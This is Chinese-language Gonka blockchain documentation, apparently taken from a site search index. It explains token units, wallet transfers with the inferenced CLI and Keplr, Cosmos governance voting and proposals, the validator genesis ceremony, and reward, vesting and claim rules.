如果你只需要推理（发送提示并接收响应），则不需要 Gonka 账户——请前往开发者快速上手通过社区代理开始使用。
如果你正在运行自己的网关或需要在链上持有和转移 GNK，请先创建 Gonka 账户，然后返回此指南。
当你能够访问你的账户后，回到本指南继续：
在链上，唯一有效的计量单位是 ngonka。所有余额、手续费和交易必须全部使用 ngonka。 Cosmos SDK 虽然允许定义额外的计量单位，但这些单位并不具有实际效用 —— SDK 不会在它们之间执行任何自动换算。 gonka 仅作为链下、面向用户的显示单位使用。它代表 10 亿（1,000,000,000）ngonka，并不存在于链上。
有效单位（Effective Units）
Unit 用途（Purpose） 链上可用？（On-chain?） 比例（Ratio）ngonka 网络中的基础单位 是（Yes） 1 gonka 便于阅读的显示单位（链下） 否（No） 1 gonka = 1,000,000,000 ngonka"}, {"location": "gonka/docs/zh/wallet/wallet-and-transfer-guide/#_2", "title": "获取你的钱包地址", "text": "在查询余额或转账前，你需要知道你的钱包地址。
inferenced keys list [--keyring-backend test]\n该命令会列出你在本地创建的所有钱包（账户）、其地址与公钥。示例输出：
- address: gonka1f85frkfw89cgpva0vgpyuldjgu6uhyd82hmjzr\n name: genesis\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"A+Qpbyhtsdl5N/6O6S/qJ9uvtbI7OFFsO5dcNrpEU0nv\"}'\n type: local\n要检查余额（例如在转账前确认是否有充足资金，或在转账后验证是否到账），使用：
inferenced query bank balances <address> [--node <node_rpc_url>]\n示例：
inferenced query bank balances gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x --node http://node2.gonka.ai:8000/chain-rpc/\n在 Cosmos 中，资金转账指的是在 Cosmos 生态的区块链上，从一个账户（钱包地址）向另一个账户发送代币。 这些转账可用于支付服务费用，或在用户之间简单地传递价值。
CLIKeplr (web-extension)Keplr (mobile app)你可以使用 Cosmos SDK 的命令行工具 — 具体来说是 inferenced CLI — 来执行转账操作。每笔转账都会记录在区块链上，并且需要有效的发送方、接收方、金额和代币单位。
在你确认余额并获取接收方的地址后，就可以发送代币了。
inferenced tx bank send <sender-key-name> <recipient-address> <coins> --chain-id gonka-mainnet [--node <node_rpc_url> | --keyring-backend test]\nNote
<sender-key-name> 是你密钥环中的本地密钥名称——即你创建密钥时选择的标签。使用 inferenced keys list 可以查看本机上的密钥名称。
示例:
inferenced tx bank send genesis gonka1a3jpdl4epdts64gns3a3fy9hjv2n9e3v7kxx0e 100ngonka --chain-id gonka-mainnet\n要使用 Keplr 钱包在 Gonka 链上进行 Gonka 账户之间的转账，请先登录并打开你的 Keplr 钱包。
在主界面中搜索 Gonka 链。
点击 “Send”。
如果你已经知道接收方的 Gonka 钱包地址如果你不知道接收方的 Gonka 钱包地址将接收方的 Gonka 钱包地址粘贴到地址栏中，并输入你要发送的金额。
接收方需要打开已添加 Gonka 账户的 Keplr 钱包，然后点击余额上方的“Copy address”。
他们搜索 Gonka 链。
他们复制地址并发送给你。
将接收方的 Gonka 钱包地址粘贴到地址栏中，并输入你要发送的金额。
批准交易.
等待交易成功通知。你不会在 Activity（活动）标签页看到该交易，因为 Gonka 是非原生链。
要使用 Keplr 钱包在 Gonka 链上进行 Gonka 账户之间的转账，请先登录并打开你的 Keplr 钱包。
在主界面中搜索 Gonka 链。
点击 “Send”。
如果你已经知道接收方的 Gonka 钱包地址如果你不知道接收方的 Gonka 钱包地址将接收方的 Gonka 钱包地址粘贴到地址栏中，并输入你要发送的金额。
接收方需要打开已添加 Gonka 账户的 Keplr 钱包。
他们搜索 Gonka 链并点击进入。
他们可以点击余额上方的地址进行复制，或点击“Receive”并在下一步页面中复制他们的地址。
他们复制地址并将其发送给你。
将接收方的 Gonka 钱包地址粘贴到地址栏中，并输入你要发送的金额。
批准交易。
等待显示交易成功的确认页面。你不会在 Activity（活动）标签页看到该交易，因为 Gonka 是非原生链。
"}, {"location": "gonka/docs/zh/wallet/wallet-and-transfer-guide/#_5", "title": "查看交易状态", "text": "发起交易后，你可能需要确认它是否被成功处理并写入区块。每笔交易都有唯一哈希（TXHASH），可据此在链上查询其状态。
要查询交易状态，请使用：
inferenced query tx <TXHASH> --chain-id gonka-mainnet [--node <node_rpc_url>]\n<TXHASH> 替换为转账命令返回的实际交易哈希。示例：
inferenced query tx 9712D97F127A1908C4DC4A1F4409AE380DC3BF0D662FA8D7E394422989CFFE2F --chain-id gonka-mainnet\ncode: 0 — 表示成功height — 交易被写入的区块高度timestamp — 该区块提交时间sender、receiver、amount、module、gas 等）示例响应（为便于阅读已截断）：
code: 0\ntxhash: 9712D97F127A1908C4DC4A1F4409AE380DC3BF0D662FA8D7E394422989CFFE2F\nheight: \"233596\"\ntimestamp: \"2025-04-24T02:21:24Z\"\ntx:\n ...\n body:\n messages:\n - '@type': /cosmos.bank.v1beta1.MsgSend\n from_address: gonka17ek5qgf94zsp024kppcyze37p95drr3wnt6jp3\n to_address: gonka1ydt57pmnsd508ckw4fh6ey6h299v50zljpylla\n amount:\n - amount: \"10\"\n denom: ngonka\ncode 非 0，表示交易失败。请检查 raw_log 或 info 字段以获取错误原因。"}, {"location": "gonka/docs/zh/transactions-and-governance/", "title": "治理与交易（Cosmos SDK 0.53）", "text": ""}, {"location": "gonka/docs/zh/transactions-and-governance/#cosmos-sdk-053", "title": "治理与交易（Cosmos SDK 0.53）", "text": "你将从冷账户机器执行治理操作，使用存储在文件密钥环中的cold-key-name。这是你在加入网络时创建的治理密钥（参见快速开始）。 交易通过 RPC 端点发送（此处称为 $SEED_URL/chain-rpc/）。如果你不指定 --node，CLI 默认为 tcp://localhost:26657。除非你在本地运行自己的节点，否则始终提供 --node $SEED_URL/chain-rpc/。 这里支持并推荐无序交易以避免序列争用。（docs.cosmos.network）
始终在交易命令中包含这些标志：
--from <cold-key-name> → 使用你的冷治理密钥。--keyring-backend file → 确保使用本地密钥签名（系统会提示你）。--unordered --timeout-duration=60s → 使交易在有限时间内有效，绕过序列排序（v0.53+ 新增）。--gas=2000000 --gas-adjustment=5.0 → 带缓冲的手动 gas 设置。--node $SEED_URL/chain-rpc/ → 除非你运行本地 RPC 节点，否则必需。--yes → 自动批准广播。有关交易生命周期和 gas 的背景，请参阅 Cosmos SDK: 交易 和 Gas 与费用。
"}, {"location": "gonka/docs/zh/transactions-and-governance/#_1", "title": "对提案投票（快速路径）", "text": "大多数参与者只需要验证提案并投票。执行以下四个步骤：
"}, {"location": "gonka/docs/zh/transactions-and-governance/#1-proposal_id", "title": "1) 识别正确的 proposal_id（并验证它是你被告知的）", "text": "列出提案，然后检查你被给予的提案并交叉检查其字段（标题/摘要/元数据/消息）：
# 列出所有提案（ID + 基本信息）\ninferenced query gov proposals -o json --node $SEED_URL/chain-rpc/\n# 详细检查特定提案\ninferenced query gov proposal $PROPOSAL_ID -o json --node $SEED_URL/chain-rpc/\n确认id、title、summary 和（如果存在）metadata 与你分享的内容匹配。如果提案包含嵌入消息，你还会在这里看到它们的 @type 和字段。（Cosmos gov v1 将提案内容存储在链上并通过 query gov proposal 暴露。）（Cosmos SDK 文档）
如果提案包含参数更新（例如，MsgUpdateParams），在投票前将提议的参数与当前链上参数进行比较：
# 2a) 获取当前模块参数（示例：inference 模块）\ninferenced query inference params -o json --node $SEED_URL/chain-rpc/ > current_params.json\n\n# 2b) 从提案中提取提议的参数（如果链嵌套不同，调整 jq 路径）\ninferenced query gov proposal $PROPOSAL_ID -o json --node $SEED_URL/chain-rpc/ \\\n | jq '.proposal.messages[] | select(.\"type\"==\"inference/x/inference/MsgUpdateParams\") | .value' \\\n > proposed_params.json\n\n# 2c) 比较\ndiff -u current_params.json proposed_params.json || true\n对于 MsgUpdateParams，模块通常期望完整的参数对象，authority 是治理模块账户（这是正常的 — 只需确认）。(Cosmos SDK 文档、Cosmos Hub)
yes、no、no_with_veto、abstain。NoWithVeto 是\"否\"加上否决信号；Abstain 有助于法定人数而不支持或反对。(Cosmos SDK 文档、Cosmos 教程)从持有你冷账户密钥的同一台机器运行此命令（系统会提示你输入密钥环密码，因为 --keyring-backend=file）：
# 选项：yes | no | no_with_veto | abstain\n# 示例：投票\"是\"\n# 作为示例，这是是！\ninferenced tx gov vote <proposal_id> yes \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\n你可以在投票窗口关闭前提交另一个 tx gov vote 来更改你的投票。要确认记录的内容：
# 查看统计\ninferenced query gov tally $PROPOSAL_ID -o json --node $SEED_URL/chain-rpc/\n# （可选）列出投票\ninferenced query gov votes $PROPOSAL_ID -o json --node $SEED_URL/chain-rpc/\n(Cosmos CLI 暴露 vote、votes 和 tally 查询；投票者可以在期间结束前重新投票。) (Cosmos SDK 文档)
TL;DR： 起草一个包含 MsgUpdateParams 的提案，包含该模块的所有参数，确保存款满足 min_deposit，提交，然后跟踪/存款/投票。MsgUpdateParams 需要为目标模块提供完整的参数集。(hub.cosmos.network)
许多模块的 MsgUpdateParams 要求 authority 是治理模块账户。你可以通过在已加入节点的机器上运行此命令来获取（你的完整节点/服务器：）
inferenced query auth module-accounts --node $SEED_URL/chain-rpc/ | grep -B2 'name: gov'\n治理模块在提案通过时执行提案消息。复制该地址用于 authority 字段。(docs.cosmos.network)
你将编辑这些，但在提案中包含整个对象。再次，在连接到节点的主服务器上运行此命令
# 自定义\"inference\"模块的示例\ninferenced query inference params -o json --node $SEED_URL/chain-rpc/ > current_params.json\nMsgUpdateParams 期望完整结构，而不是部分字段。(hub.cosmos.network)
inferenced query gov params -o json --node $SEED_URL/chain-rpc/ | jq '.params.min_deposit'\n你的提案的 deposit 必须满足/超过 min_deposit。(hub.cosmos.network)
使用内置向导搭建 draft_proposal.json，然后选择其他 → 选择你的消息类型（例如，/inference.inference.MsgUpdateParams）。
inferenced tx gov draft-proposal\n# 填充 draft_proposal.json 和 draft_metadata.json\ndraft-proposal 助手是现代 gov v1 CLI 的一部分。(docs.cosmos.network、hub.cosmos.network)
你将想要选择你提议的消息。要更改主链的参数，使用 /inference.inference.MsgUpdateParams
这将产生 draft_proposal.json 和 draft_metadata.json
元数据文件应该托管在链下，最好在 IPFS 上。
编辑 draft_proposal.json 使其看起来像：
{\n \"messages\": [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"cosmos1...gov...\", // 来自步骤 1\n \"params\": { /* 从 current_params.json 粘贴并修改 */ }\n }\n ],\n \"metadata\": \"ipfs://CID\", // 托管在 IPFS 上的元数据文件路径\n \"deposit\": \"500000000000ngonka\", // 满足 min_deposit\n \"title\": \"调整 epoch 长度\",\n \"summary\": \"将 epoch 长度增加到 1000\"\n}\n提醒：包含整个 params 对象，而不仅仅是你更改的字段。(hub.cosmos.network)
这必须在你的私人机器上使用你的冷账户信息完成。
inferenced tx gov submit-proposal ./draft_proposal.json \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\nv1 中的治理提案是包含嵌入消息的 JSON 文件，如果投票通过，则由治理模块执行。(docs.cosmos.network)
"}, {"location": "gonka/docs/zh/transactions-and-governance/#6", "title": "6) 确保你的提案在链上", "text": "inferenced query gov proposals --node $SEED_URL/chain-rpc/\n如果初始存款不足，请补充：
inferenced tx gov deposit <proposal_id> <amount> \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\n(docs.cosmos.network)
"}, {"location": "gonka/docs/zh/transactions-and-governance/#_4", "title": "投票", "text": "同样，这需要从你的私人机器使用你的治理账户：
# 选项：yes | no | no_with_veto | abstain\ninferenced tx gov vote <proposal_id> yes \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\n（提案者没有自动是；明确投票。）(docs.cosmos.network)
"}, {"location": "gonka/docs/zh/transactions-and-governance/#_5", "title": "跟踪提案状态", "text": "# 一个提案\ninferenced query gov proposal <proposal_id> -o json --node $SEED_URL/chain-rpc/\n# 仅统计\ninferenced query gov tally <proposal_id> -o json --node $SEED_URL/chain-rpc/\n# 列出所有\ninferenced query gov proposals -o json --node $SEED_URL/chain-rpc/\n(docs.cosmos.network)
"}, {"location": "gonka/docs/zh/transactions-and-governance/#_6", "title": "注意事项", "text": "--unordered 时，交易通过 --timeout-duration 携带过期时间，其序列保持未设置。期望单调序列的外部工具不得依赖这些交易。(docs.cosmos.network)--gas-adjustment 或根据网络策略设置 --gas-prices。(docs.cosmos.network)创世仪式是一个协调过程，用于使用预定义的初始验证者集合和商定的 genesis.json 文件来引导 Gonka 区块链。这个仪式很重要，因为它建立了网络的基础安全，确保验证者之间的公平参与，并为区块链创建了一个可验证的起点。
仪式是一个透明且可审计的过程，完全通过 GitHub Pull Requests（PR）管理。核心工作流程很简单：
GENTX 和 GENPARTICIPANT）。genesis.json，包含预定的 genesis_time 和记录的哈希值。仪式通过明确定义的阶段进行，以产生可审计的、共享的 genesis.json。所有协作都通过 GitHub PR 进行，以确保完全透明和问责。
genesis.json 哈希，允许每个参与者确认他们从完全相同的初始状态开始。 共识 该过程保证所有初始验证者在网络上线前已审查并接受创世状态。"}, {"location": "gonka/docs/zh/host/genesis-new/#_2", "title": "先决条件", "text": "在参与仪式之前，每个参与者（验证者）必须：
Fork Gonka 仓库 到你的 GitHub 账户。
选择一个参与者（验证者）名称并创建你的验证者目录：
cp -r genesis/validators/template genesis/validators/<YOUR_VALIDATOR_NAME>\n遵循快速开始指南的本地设置部分。
inferenced CLI、创建你的账户冷密钥和拉取 Docker 镜像。确认准备就绪：
inferenced CLI 已本地安装，你的账户冷密钥已创建。config.env）已配置。仪式遵循 5 阶段流程，用离线、基于 PR 的工作流程替换 quickstart.md 中的链上注册步骤。所有交易文件都在本地生成并提交给协调者进行聚合。
仪式遵循 5 阶段流程，用离线、基于 PR 的工作流程替换 quickstart.md 中的链上注册步骤。
阶段 1 — 验证者
准备密钥和初始服务器设置。 打开包含验证者信息的 PR（节点 ID、ML 运营地址、共识公钥）。
阶段 2 — 协调者
聚合验证者信息并发布 genesis.json 草案供审查。
阶段 3 — 验证者
从草案生成离线 GENTX 和 GENPARTICIPANT 文件。 打开包含这些文件的 PR。
阶段 4 — 协调者
验证并收集交易，修补 genesis.json，并设置 genesis_time。
阶段 5 — 验证者
检索最终 genesis.json，验证其哈希，并在 genesis_time 之前启动节点。
为了简化过程，仪式的部署脚本将在 Gonka 仓库 的 /deploy/join 目录中。 部署脚本与 quickstart.md 中的标准加入流程相同。在仪式期间，协调者将调整以下环境变量以启用创世特定行为：
INIT_ONLY — 初始化数据目录并准备配置，而不启动完整堆栈GENESIS_SEEDS — 启动时用于初始 P2P 连接的种子节点地址列表IS_GENESIS — 在 compose/scripts 中切换仅创世路径（例如，哈希验证、引导行为）位置：这些变量由协调者在 deploy/join/docker-compose.yml 中设置。验证者不应更改它们。
一旦阶段 5 完成且链已启动，协调者将从仓库中删除上述变量，因为它们不再需要。
工作目录：从 deploy/join 运行所有 docker compose 命令（首先更改目录），或在从仓库根目录运行时显式传递 -f deploy/join/docker-compose.yml。
此阶段镜像 quickstart.md 中的密钥生成步骤，但所有设置都在离线状态下执行以生成仪式文件。账户密钥（冷）已在快速开始期间创建；以下步骤将指导你在服务器上生成 ML 运营密钥（热）。
账户冷密钥在 quickstart.md 期间创建。你可以使用以下命令查看其信息：
./inferenced keys list --keyring-backend file\nEnter keyring passphrase (attempt 1/3):\n- address: gonka1eq4f5p32ewkekf9rv5f0qjsa0xaepckmgl85kr\n name: \"gonka-account-key\"\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"A4U3G2eY46mwhWx7ZXieT+LetPJhG0jHNuVCQB6wgBZK\"}'\n type: local\ndocker compose run --rm node\n51a9df752b60f565fe061a115b6494782447dc1f\n启动 tmkms 服务以生成共识密钥，然后提取公钥。
docker compose up -d tmkms && docker compose run --rm --entrypoint /bin/sh tmkms -c \"tmkms-pubkey\"\n/wTVavYr5OCiVssIT3Gc5nsfIH0lP1Rqn/zeQtq4CvQ=\n在 api 容器内使用 file 密钥环后端创建热密钥（程序化访问需要）。密钥将存储在映射到容器 /root/.inference 的持久卷中：
Note
$KEY_NAME 和 $KEYRING_PASSWORD 在快速开始 config.env 中定义。
docker compose run --rm --no-deps -it api /bin/sh\n在容器内，创建 ML 运营密钥：
命令示例输出printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\n~ # printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\n\n- address: gonka1gyz2agg5yx49gy2z4qpsz9826t6s9xev6tkehw\n name: node-702105\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"Ao8VPh5U5XQBcJ6qxAIwBbhF/3UPZEwzZ9H/qbIA6ipj\"}'\n type: local\n\n\n**重要** 将此助记词短语写在安全的地方。\n如果你忘记密码，这是恢复账户的唯一方法。\n\nagain plastic athlete arrow first measure danger drastic wolf coyote work memory already inmate sorry path tackle custom write result west tray rabbit jeans\n创建或更新 genesis/validators/<YOUR_VALIDATOR_NAME>/README.md，包含以下字段。使用从上述步骤和快速开始收集的值。
Account Public Key: <value of ACCOUNT_PUBKEY from your config.env file>\nNode ID: <node-id-from-step-1.2>\nML Operational Address: <ml-operational-key-address-from-step-1.4>\nConsensus Public Key: <consensus-pubkey-from-step-1.3>\nP2P_EXTERNAL_ADDRESS: <value of P2P_EXTERNAL_ADDRESS from your config.env file>\n向 Gonka 仓库 提交包含你验证者信息的 PR。包含清晰的标题，如\"添加验证者：\"，并确保你的 README.md 文件中填充了所有必需字段。
协调者将：
genesis.json 草案，包括所有账户地址，并将其放置在 genesis/genesis-draft.json 中GENTX 和 GENPARTICIPANT 生成", "text": "此阶段涉及生成链初始化所需的交易文件。这些交易包括：
MsgCreateValidator - 在链上创建你的验证者MsgSubmitNewParticipant - 将你的节点注册为网络参与者gentx 命令需要来自前面步骤的以下变量：
<cold key name> 本地注册表中的账户冷密钥名称（例如，快速开始中的\"gonka-account-key\"） <YOUR_VALIDATOR_NAME> 在先决条件部分选择的验证者名称 <ml-operational-key-address-from-step-1.4> 步骤 1.4 中的 ML 运营密钥地址 $PUBLIC_URL 来自快速开始 config.env 的环境变量，包含公共 URL <consensus-pubkey-from-step-1.3> 步骤 1.3 中的共识公钥 <node-id-from-step-1.2> 步骤 1.2 中的节点 ID 此自定义 gentx 命令自动创建从你的账户密钥到你的 ML 运营密钥所需的 authz 授权，简化了设置过程。
在生成文件之前，你必须将草案 genesis/genesis-draft.json 复制到存储你账户冷密钥的 config 目录中。这允许 gentx 命令访问你的密钥并针对正确的链配置验证交易。
inferenced 的默认主目录是 ~/.inference。如果你在那里创建了密钥，请使用以下命令：
cp ./genesis/genesis-draft.json ~/.inference/config/genesis.json\n如果你在创建密钥时使用 --home 标志指定了自定义主目录，请确保通过再次提供 --home 标志在 gentx 命令中使用相同的目录。
GENTX 和 GENPARTICIPANT 文件", "text": "1ngonka 值表示创世交易的人工共识权重。真正的验证者权重将在第一个计算证明（PoC）阶段确定。
./inferenced genesis gentx \\\n --keyring-backend file \\\n <cold key name> 1ngonka \\\n --moniker <YOUR_VALIDATOR_NAME> \\\n --pubkey <consensus-pubkey-from-step-1.3> \\\n --ml-operational-address <ml-operational-key-address-from-step-1.4> \\\n --url $PUBLIC_URL \\\n --chain-id gonka-mainnet \\\n --node-id <node-id-from-step-1.2>\n./inferenced genesis gentx \\\n --home ./702121 \\\n --keyring-backend file \\\n 702121 1ngonka \\\n --pubkey eNrjtkSXzfE18jq3lqvpu/i1iIog9SN+kqR2Wsa6fSM= \\\n --ml-operational-address gonka13xplq68fws3uvs8m7ej2ed5ack9hzpc68fwvex \\\n --url http://36.189.234.237:19238 \\\n --moniker \"mynode-702121\" --chain-id gonka-mainnet \\\n --node-id 149d25924b9a6676448aea716864c31775645459\nEnter keyring passphrase (attempt 1/3):\nClassic genesis transaction written to \"702121/config/gentx/gentx-149d25924b9a6676448aea716864c31775645459.json\"\nGenparticipant transaction written to \"702121/config/genparticipant/genparticipant-149d25924b9a6676448aea716864c31775645459.json\"\n将生成的文件复制到你的验证者目录并创建 PR：
将文件复制到你的验证者目录：
cp ~/.inference/config/gentx/gentx-<node-id>.json genesis/validators/<YOUR_VALIDATOR_NAME>/\ncp ~/.inference/config/genparticipant/genparticipant-<node-id>.json genesis/validators/<YOUR_VALIDATOR_NAME>/\n创建包含以下文件的 PR：
genesis/validators/<YOUR_VALIDATOR_NAME>/gentx-<node-id-from-step-1.2>.jsongenesis/validators/<YOUR_VALIDATOR_NAME>/genparticipant-<node-id-from-step-1.2>.json使用清晰的 PR 标题，如\"为验证者添加 gentx 文件：\"。
"}, {"location": "gonka/docs/zh/host/genesis-new/#4", "title": "阶段 4. [协调者]：最终创世准备", "text": "一旦所有验证者都提交了他们的交易文件，协调者开始构建官方的 genesis.json。这个关键步骤确保所有初始参与者都正确包含在区块链的状态中，从第一个区块开始。
该过程涉及两个主要命令：
collect-gentxs 命令收集所有 gentx-<node-id>.json 文件，验证它们，并将它们合并到 genesis.json 中以填充初始验证者集合。patch-genesis 命令处理 genparticipant-<node-id>.json 文件，验证它们的签名并修补初始状态以包含所有注册的参与者。合并所有交易后，协调者将 genesis_time 设置为未来的时间戳，确保所有验证者有足够的时间准备同步启动。
最后，协调者将官方的 genesis.json 提交到 genesis/ 目录。然后将此提交的哈希嵌入源代码中，以确保所有节点从相同的验证状态开始。
./inferenced genesis collect-gentxs --gentx-dir gentxs\n./inferenced genesis patch-genesis --genparticipant-dir genparticipants\n协调者通过在 deploy/join/docker-compose.yml 中设置 GENESIS_SEEDS 变量来配置初始网络对等连接。此变量是验证者节点地址的逗号分隔列表，使用每个验证者在各自 README.md 文件中提供的 Node ID 和 P2P_EXTERNAL_ADDRESS 构建。
示例格式：<node-id-1>@<P2P_EXTERNAL_ADDRESS_1>,<node-id-2>@<P2P_EXTERNAL_ADDRESS_2>,...
此外，协调者将 INIT_ONLY 设置为 false，这允许节点在启动时完全启动并连接到网络，而不是仅初始化其数据目录。
随着最终 genesis.json 的发布，验证者必须验证它是否正确生成，并准备他们的节点在指定的 genesis_time 启动。区块链将在此刻开始产生区块。
这些步骤应在你的验证者服务器上执行。
拉取最新配置
从仓库拉取最新更改以获取最终的 genesis.json 和种子节点配置。
git pull\n更新容器镜像
从 deploy/join 目录拉取最新的 Docker 容器镜像。节点镜像使用最终创世哈希构建以进行验证。
source config.env\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\n启动你的验证者
最后，启动所有服务。
docker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\n启动后，监控你的节点日志以确认它正在等待创世时间：
docker compose logs node -f\n寻找类似这样的消息：
INF Genesis time is in the future. Sleeping until then... genTime=2025-08-14T09:13:39Z module=server\n重要注意事项
api 容器可能在 node 容器完全运行之前重启几次[协调者]：启动后清理
从 docker-compose.yml 配置文件中删除创世特定变量，以过渡到正常操作模式。
如需额外支持，请参阅快速开始指南或加入社区 Discord。
"}, {"location": "gonka/docs/zh/host/rewards/", "title": "奖励机制", "text": ""}, {"location": "gonka/docs/zh/host/rewards/#_1", "title": "奖励机制", "text": "Note
本文档仅供参考。最终参数和技术细节可能发生变化，因此在依赖本文档前，请务必核实最新的链上状态及相关 GitHub 仓库。
"}, {"location": "gonka/docs/zh/host/rewards/#_2", "title": "代币经济概览", "text": "Core 激励计划为矿工（6.8 亿枚 gonka (GNK) 代币，占总供应量的 68%）设立，旨在奖励为去中心化网络贡献算力的矿工。在类比特币奖励系统下，每个纪元（epoch）会固定铸造一定数量的 GNK，并根据各矿工的“算力证明”（Proof of Compute, PoC）权重按比例分配。随着网络增长，更多 GPU 竞争相同的固定奖励，每台 GPU 获得的 GNK 数量将减少，从而引入类似比特币挖矿的稀缺性驱动价值机制。矿工的长期收益来源于推理服务需求的增长、固定发行量带来的稀缺性，以及随着挖矿竞争加剧而上升的 GNK 市场价值。奖励计划遵循可预测的指数衰减模式，纪元奖励逐步减少，大约每 4 年减半一次。
代币经济完整版文档
"}, {"location": "gonka/docs/zh/host/rewards/#gonka", "title": "Gonka 网络奖励系统", "text": "Gonka 网络采用双轨奖励机制，旨在平衡长期稀缺性激励与即时经济实用性。矿工通过两种互补的奖励渠道获得报酬：
Gonka 网络引入一种受比特币启发的固定奖励机制，每个纪元铸造预定数量的奖励代币，并根据每个矿工的“算力证明”（PoC）权重进行分配。
该模型的关键特性包括：
当前纪元奖励 = 初始奖励 × exp(衰减率 × 自创世以来的纪元数)更多矿工 → 每 GPU 获得更少 GNK → 更高稀缺性 → 潜在价格支撑与增长与此同时，Gonka 网络还会根据实际经济活动分发“工作代币”（Work Coins）：
Gonka 网络分发的所有奖励，包括纪元铸造的奖励代币和基于使用量的工作代币，均需遵循由专用归属系统管理的确定性、协议强制执行的归属计划：
截至 2026 年 3 月，归属期设定为 180 个纪元（约 180 天）。有关最新的归属计划，请始终参考当前的链上实现。 任何链下描述可能因协议升级、参数变更或治理决策而过时。
该机制将矿工的奖励与网络的长期稳定和发展相绑定，防止短期投机行为，确保可靠矿工具备可预期的收入流。
矿工可查询：
http://<ip>:<public_http_port>/chain-api/productscience/inference/streamvesting/total_vesting/<Host_address>他们解锁计划的详细分解（未来解锁的时间表数组）。http://<ip>:<public_http_port>/chain-api/productscience/inference/streamvesting/vesting_schedule/<Host_address>## 奖励领取流程 Gonka 链仅在第 N+1 轮次中发放在第 N 轮次所获得的奖励。奖励无法提前或延后领取。主机的 API 节点会在第 N+1 轮次期间，自动使用在第 N 轮次开始时记录签名的种子（seed）执行奖励领取操作。若领取失败，节点会每 30 分钟重试一次。
然而，领取奖励要求节点在此有限的时间窗口内保持在线，并通过所有验证步骤，直至奖励成功领取。如果无法完成验证，链将无法最终确认奖励，奖励将保持未领取状态。
关键运行说明
奖励领取操作仅由主机的 API 节点执行。
如果 API 节点在第 N+1 轮次期间的任何时刻停止、重启或不可用， 则第 N 轮次的奖励可能会永久丢失，即使：
仅靠 ML 节点无法领取奖励。为确保奖励被安全领取，API 节点必须保持在线并同步状态，直至前一轮次的奖励被确认已成功领取。
在领取奖励时，链需要验证主机是否已完成该轮次的所有必要工作。链还允许主机在奖励领取窗口期内提交逾期的推理验证。这些检查要求保留所有推理输出及其元数据。
"}, {"location": "gonka/docs/zh/host/rewards/#_5", "title": "种子承诺与验证", "text": "种子是由每个网络节点在新一轮次开始前独立生成的一个秘密值。在轮次开始前，网络节点通过向链提交该种子的数字签名，完成对种子的承诺。 在轮次结束时，为了获得奖励，节点必须公开该种子本身。链随后验证所公开的种子是否与其先前记录的签名相匹配。
示例结构：{ \"seed\": 5839402176541298043, // the seed itself, revealed during the claim \"epoch_index\": 101, \"signature\": \"a5910d9b4156e403494a0ba148e6fb67e101ab2a7b7cf54eb15fa5bb5a46a2fdb1435a14954221008d294987075b75d247f26fa7d273720478f0ffb3189132f6\", // the seed signature, committed beforehand \"claimed\": false }该机制确保每个主机在验证过程中真正随机选择推理请求，且无法操纵选择过程。同时，其他主机无法推断该节点的随机选择方式，从而防止对抗性适应行为。
Event_listener.go https://github.com/gonka-ai/gonka/blob/aa85699ab203f8c7fa83eb1111a2647241c30fc4/decentralized-api/internal/event_listener/event_listener.go#L319Reward_recovery.go https://github.com/gonka-ai/gonka/blob/aa85699ab203f8c7fa83eb1111a2647241c30fc4/decentralized-api/internal/startup/reward_recovery.go#L44尽管申领流程是自动的，但并非无条件执行。
在第 N+1 轮期间，若出现以下情况，奖励可能未被申领：
区块链不会在申领窗口期后保留推理数据，也无法处理逾期申领。 此前各轮次中未申领的奖励将被永久销毁。
"}, {"location": "gonka/docs/zh/host/rewards/#_8", "title": "奖励申领失败情况矩阵", "text": "失败条件 发生时机 结果 是否自动重试 是否支持手动申领 最终状态 临时网络不稳定 第 N+1 轮期间 申领尝试失败，奖励保持待定状态 是（每30分钟一次） 是（可选） 在第 N+1 轮结束前可恢复 API 节点临时停机 / 重启 第 N+1 轮期间 申领延迟 是（节点恢复后） 是（可选） 在第 N+1 轮结束前可恢复 节点在线但链上最终确认失败 第 N+1 轮期间 申领未完成最终确认 是 是 在第 N+1 轮结束前可恢复 种子错误或缺失 第 N+1 轮期间 申领被拒绝 否 否 只要种子可恢复，则在 N+1 轮内可恢复 本地种子丢失 第 N+1 轮期间 无法授权申领 否 否 永久不可恢复 推理-验证数据缺失或损坏 第 N+1 轮期间 验证失败 否 否 永久不可恢复 过多无效或遗漏的推理请求 第 N 轮期间 主机被取消资格 不适用 否 第 N 轮奖励作废 随机性 PoC 验证失败 第 N 轮期间 主机被惩罚并禁用 不适用 否 第 N 轮奖励作废 API 节点在申领完成前关闭 第 N+1 轮期间 无法完成申领 是（若节点及时恢复） 是（若在 N+1 轮内） 在第 N+1 轮结束前可恢复 申领窗口过期（第 N+1 轮结束） 第 N+1 轮之后 不再允许申领 否 否 永久销毁"}, {"location": "gonka/docs/zh/host/rewards/#_9", "title": "手动申领奖励", "text": "手动申领功能适用于以下操作人员：
运维说明
在第 N+1 轮期间短暂离线无需手动申领。 系统会在整个第 N+1 轮期间每约 30 分钟自动重试申领。 仅当节点无法及时恢复服务，或操作员希望比下一次计划重试更早触发申领时，才需要手动操作。
